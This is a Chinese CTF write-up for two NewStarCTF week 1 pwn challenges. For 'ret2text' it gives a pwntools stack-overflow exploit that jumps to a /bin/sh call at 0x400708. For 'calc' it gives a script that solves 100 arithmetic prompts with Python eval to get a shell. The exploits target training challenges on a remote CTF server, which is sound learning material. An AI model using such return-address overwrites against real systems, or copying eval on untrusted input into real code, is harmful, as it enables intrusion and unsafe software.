NewStartCTF week1 pwn
ret2text
很简单的一道栈溢出题目

首先通过checksec查看题目开启了什么保护,只开启了NX,是64位的amd文件拖到ida中查看

首先shift+f12查看字串发现,/bin/sh

双击跟进发现调用函数的地址:0X400708

点击main函数查看反编译代码,发现scanf("%s", v4),栈溢出漏洞

双击v4查看内存,需溢出28字节
payload即为:'a'*0x28 + p64(0x400708) 接下来构造exp:
from pwn import *
p = remote('node4.buuoj.cn', 27021)
bin_sh = 0x400708
payload = b'a'*0x28 + p64(bin_sh)
p.sendline(payload)
p.interactive()
拿到flag:
calc

checksec查看什么都开启了,是64位amd文件打开ida看看情况
还是老规矩首先按shift+f12查看字串
发现/bin/sh同样跟进发现函数:

即调用sub_BE9()这个函数时获得shell权限,查看main函数

发现漏洞利用函数sub_CE1();


通过读取反汇编代码,确定了这是一个计算的程序

发现要在三十秒内成功算对一百到题目才可以获得shell
利用python的eval函数可以帮我们计算
接下来构造exp:
from pwn import *
p = remote('node4.buuoj.cn',25037)
for i in range(100):
p.recvuntil('answer?')
n = p.recvline().decode()
print(n)
question = n.strip().split('=')[0]
if 'x' in question:
question = question.replace('x','*')
answer = str(eval(question))
p.sendline(answer)
p.interactive()

最后拿到flag:
第二题exp转载自:Anyyy's Blog师傅!
http://www.anyiblog.top/2022/09/25/20220925/

浙公网安备 33010602011771号